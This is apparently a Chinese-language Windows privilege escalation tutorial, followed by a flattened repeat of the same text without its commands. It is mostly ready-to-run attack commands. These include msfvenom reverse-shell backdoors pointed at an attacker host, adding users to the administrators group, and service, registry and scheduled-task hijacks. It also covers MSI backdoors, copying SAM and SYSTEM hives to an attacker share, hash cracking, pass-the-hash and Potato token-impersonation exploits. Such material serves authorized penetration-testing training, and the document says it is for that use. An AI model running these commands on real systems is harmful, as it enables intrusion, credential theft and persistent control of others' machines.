手把手教你Windows提权
字数 2687 2025-08-09 18:44:03

Windows提权技术全面指南

0x01 基本概念

用户与权限基础

用户帐户

  • 用于登录Windows系统
  • 本地"管理员"帐户默认在安装时创建
  • 可能存在其他默认账户如Guest

服务帐户

  • 用于运行Windows服务,不能用于登录
  • 系统帐户是最高权限的服务帐户
  • 其他默认服务帐户包括网络服务和本地服务

  • 用户可属于多个组,组可包含多个用户
  • 常规组(如管理员、用户)有固定成员列表
  • 伪组(如"已验证用户")有动态成员列表

资源类型

  • 文件/目录
  • 注册表项
  • 服务

ACLs & ACEs

  • 资源权限由访问控制列表(ACL)控制
  • 每个ACL由零或多个访问控制条目(ACE)组成
  • 每个ACE定义主体(用户/组)和特定访问权限

0x02 管理员权限利用

已有管理员权限的利用

msfvenom生成后门

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o backdoor.exe

RDP提权

  1. 将低权限用户加入管理员组:
net localgroup administrators <username> /add
  1. 通过RDP登录获取管理员权限

Administrator到System
使用PsExec工具:

.\PsExec64.exe -accepteula -i -s C:\path\to\backdoor.exe

0x03 提权工具集

常用提权工具

PowerUp & SharpUp

  • PowerUp(PowerShell版):https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1
  • SharpUp(C#版):https://github.com/GhostPack/SharpUp
  • 预编译版:https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/SharpUp.exe

PowerUp使用

. .\PowerUp.ps1
Invoke-AllChecks

SharpUp使用

.\SharpUp.exe

Seatbelt

  • 枚举工具,提供系统信息
  • 代码:https://github.com/GhostPack/Seatbelt
  • 预编译版:https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Seatbelt.exe

使用示例:

.\Seatbelt.exe all
.\Seatbelt.exe <check_name>

winPEAS

  • 强大的自动化提权工具
  • 下载:https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS

使用前准备:

reg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1

使用示例:

.\winPEASany.exe quiet cmd fast
.\winPEASany.exe quiet cmd systeminfo

accesschk.exe

  • 检查用户/组对文件、目录、服务和注册表项的访问权限
  • 旧版本可使用/accepteula参数避免GUI弹窗

0x04 内核漏洞提权

内核提权步骤

  1. 枚举系统信息:
systeminfo > systeminfo.txt
  1. 使用工具查找匹配漏洞:
  • Windows Exploit Suggester:https://github.com/bitsadmin/wesng
  • 预编译内核漏洞:https://github.com/SecWiki/windows-kernel-exploits
  • Watson:https://github.com/rasta-mouse/Watson
  1. 分析结果并利用:
python wes.py systeminfo.txt -i 'Elevation of Privilege' --exploits-only
  1. 执行漏洞利用:
exploit.exe C:\path\to\backdoor.exe

0x05 服务漏洞利用

服务配置错误类型

1. 不安全的服务权限

检查服务配置:

sc.exe qc <service_name>

使用accesschk验证权限:

.\accesschk.exe /accepteula -uwcqv user <service_name>

利用步骤:

  1. 修改服务二进制路径:
sc config <service_name> binpath= "\"C:\path\to\backdoor.exe\""
  1. 启动服务触发:
net start <service_name>

2. 未引用的服务路径

识别未引用路径:

sc qc <service_name>

利用步骤:

  1. 在有空格路径前写入恶意程序
  2. 服务启动时会优先执行恶意程序

3. 注册表权限弱

检查注册表权限:

Get-Acl HKLM:\System\CurrentControlSet\Services\<service_name> | Format-List

或使用accesschk:

.\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\<service_name>

修改ImagePath:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\to\backdoor.exe /f

4. 不安全的服务可执行文件

检查文件权限:

.\accesschk.exe /accepteula -quvw "C:\path\to\service.exe"

替换原文件:

copy /Y C:\path\to\backdoor.exe "C:\path\to\service.exe"

0x06 注册表提权

自启动程序提权

查找自启动程序:

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

检查权限:

.\accesschk.exe /accepteula -wvu "C:\path\to\autorun_program.exe"

AlwaysInstallElevated

检查注册表设置:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

生成MSI后门:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f msi -o backdoor.msi

安装触发:

msiexec /quiet /qn /i C:\path\to\backdoor.msi

0x07 密码相关提权

注册表中的密码

搜索注册表密码:

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

保存的凭据

检查保存的凭据:

cmdkey /list

使用保存的凭据:

runas /savecred /user:<username> C:\path\to\backdoor.exe

配置文件中的密码

搜索密码文件:

dir /s *pass* == *.config
findstr /si password *.xml *.ini *.txt

常见位置:

  • C:\Windows\Panther\Unattend.xml

SAM哈希提取

复制SAM和SYSTEM文件:

copy C:\Windows\Repair\SAM \\attacker\share\
copy C:\Windows\Repair\SYSTEM \\attacker\share\

使用creddump提取哈希:

python2 creddump7/pwdump.py SYSTEM SAM

哈希破解:

hashcat -m 1000 --force <hash> /usr/share/wordlists/rockyou.txt

哈希传递攻击:

pth-winexe -U 'admin%aad3b435b51404eeaad3b435b51404ee:<hash>' //target_ip cmd.exe

0x08 计划任务提权

查找计划任务:

schtasks /query /fo LIST /v

或PowerShell:

Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

利用可写脚本:

echo C:\path\to\backdoor.exe >> C:\path\to\scheduled_script.ps1

0x09 GUI应用提权

不安全的GUI应用

  1. 查找以高权限运行的GUI进程:
tasklist /V | findstr <process_name>
  1. 通过GUI功能执行命令(如文件打开对话框输入cmd路径)

启动文件夹提权

  1. 检查启动文件夹权限:
.\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
  1. 创建快捷方式:
Set oWS = WScript.CreateObject("WScript.Shell")
sLinkFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\reverse.lnk"
Set oLink = oWS.CreateShortcut(sLinkFile)
oLink.TargetPath = "C:\path\to\backdoor.exe"
oLink.Save

0x0A 令牌模拟攻击

Hot Potato

  • 适用于Win7/8/早期Win10
  • 组合NTLM中继和欺骗攻击

使用:

.\potato.exe -ip <attacker_ip> -cmd "C:\path\to\backdoor.exe" -enable_httpserver true -enable_defender true -enable_spoof true -enable_exhaust true

Juicy Potato/Rotten Potato

  • 需要SeImpersonate/SeAssignPrimaryToken权限
  • GitHub:https://github.com/ohpe/juicy-potato

Rogue Potato

  • GitHub:https://github.com/antonioCoco/RoguePotato
  • 需要端口转发:
sudo socat tcp-listen:135,reuseaddr,fork tcp:<target_ip>:9999

使用:

.\RoguePotato.exe -r <attacker_ip> -l 9999 -e "C:\path\to\backdoor.exe"

PrintSpoofer

  • 利用打印后台处理程序服务
  • GitHub:https://github.com/itm4n/PrintSpoofer

使用:

.\PrintSpoofer.exe -i -c "C:\path\to\backdoor.exe"

0x0B 端口转发技术

使用plink.exe进行端口转发:

plink.exe root@<attacker_ip> -R <attacker_port>:127.0.0.1:<target_port>

0x0C 用户权限滥用

常见可利用权限

  • SeImpersonatePrivilege
  • SeAssignPrimaryPrivilege
  • SeBackupPrivilege
  • SeRestorePrivilege
  • SeTakeOwnershipPrivilege

查看用户权限:

whoami /all

0x0D 提权策略总结

  1. 检查用户和组信息:
whoami
net user <username>
  1. 运行自动化工具:
  • winPEAS
  • Seatbelt
  • PowerUp/SharpUp
  1. 检查:
  • 服务配置
  • 注册表设置
  • 计划任务
  • 密码和凭据
  • 内核漏洞
  • 用户权限
  1. 参考备忘录:
    https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md

注意:所有技术仅用于合法授权测试,未经授权使用可能违反法律。

Windows提权技术全面指南 0x01 基本概念 用户与权限基础 用户帐户 : 用于登录Windows系统 本地"管理员"帐户默认在安装时创建 可能存在其他默认账户如Guest 服务帐户 : 用于运行Windows服务,不能用于登录 系统帐户是最高权限的服务帐户 其他默认服务帐户包括网络服务和本地服务 组 : 用户可属于多个组,组可包含多个用户 常规组(如管理员、用户)有固定成员列表 伪组(如"已验证用户")有动态成员列表 资源类型 : 文件/目录 注册表项 服务 ACLs & ACEs : 资源权限由访问控制列表(ACL)控制 每个ACL由零或多个访问控制条目(ACE)组成 每个ACE定义主体(用户/组)和特定访问权限 0x02 管理员权限利用 已有管理员权限的利用 msfvenom生成后门 : RDP提权 : 将低权限用户加入管理员组: 通过RDP登录获取管理员权限 Administrator到System : 使用PsExec工具: 0x03 提权工具集 常用提权工具 PowerUp & SharpUp : PowerUp(PowerShell版):https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1 SharpUp(C#版):https://github.com/GhostPack/SharpUp 预编译版:https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/SharpUp.exe PowerUp使用 : SharpUp使用 : Seatbelt : 枚举工具,提供系统信息 代码:https://github.com/GhostPack/Seatbelt 预编译版:https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Seatbelt.exe 使用示例: winPEAS : 强大的自动化提权工具 下载:https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS 使用前准备: 使用示例: accesschk.exe : 检查用户/组对文件、目录、服务和注册表项的访问权限 旧版本可使用/accepteula参数避免GUI弹窗 0x04 内核漏洞提权 内核提权步骤 枚举系统信息: 使用工具查找匹配漏洞: Windows Exploit Suggester:https://github.com/bitsadmin/wesng 预编译内核漏洞:https://github.com/SecWiki/windows-kernel-exploits Watson:https://github.com/rasta-mouse/Watson 分析结果并利用: 执行漏洞利用: 0x05 服务漏洞利用 服务配置错误类型 1. 不安全的服务权限 检查服务配置: 使用accesschk验证权限: 利用步骤: 修改服务二进制路径: 启动服务触发: 2. 未引用的服务路径 识别未引用路径: 利用步骤: 在有空格路径前写入恶意程序 服务启动时会优先执行恶意程序 3. 注册表权限弱 检查注册表权限: 或使用accesschk: 修改ImagePath: 4. 不安全的服务可执行文件 检查文件权限: 替换原文件: 0x06 注册表提权 自启动程序提权 查找自启动程序: 检查权限: AlwaysInstallElevated 检查注册表设置: 生成MSI后门: 安装触发: 0x07 密码相关提权 注册表中的密码 搜索注册表密码: 保存的凭据 检查保存的凭据: 使用保存的凭据: 配置文件中的密码 搜索密码文件: 常见位置: C:\Windows\Panther\Unattend.xml SAM哈希提取 复制SAM和SYSTEM文件: 使用creddump提取哈希: 哈希破解: 哈希传递攻击: 0x08 计划任务提权 查找计划任务: 或PowerShell: 利用可写脚本: 0x09 GUI应用提权 不安全的GUI应用 : 查找以高权限运行的GUI进程: 通过GUI功能执行命令(如文件打开对话框输入cmd路径) 启动文件夹提权 : 检查启动文件夹权限: 创建快捷方式: 0x0A 令牌模拟攻击 Hot Potato : 适用于Win7/8/早期Win10 组合NTLM中继和欺骗攻击 使用: Juicy Potato/Rotten Potato : 需要SeImpersonate/SeAssignPrimaryToken权限 GitHub:https://github.com/ohpe/juicy-potato Rogue Potato : GitHub:https://github.com/antonioCoco/RoguePotato 需要端口转发: 使用: PrintSpoofer : 利用打印后台处理程序服务 GitHub:https://github.com/itm4n/PrintSpoofer 使用: 0x0B 端口转发技术 使用plink.exe进行端口转发: 0x0C 用户权限滥用 常见可利用权限 : SeImpersonatePrivilege SeAssignPrimaryPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege 查看用户权限: 0x0D 提权策略总结 检查用户和组信息: 运行自动化工具: winPEAS Seatbelt PowerUp/SharpUp 检查: 服务配置 注册表设置 计划任务 密码和凭据 内核漏洞 用户权限 参考备忘录: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md 注意 :所有技术仅用于合法授权测试,未经授权使用可能违反法律。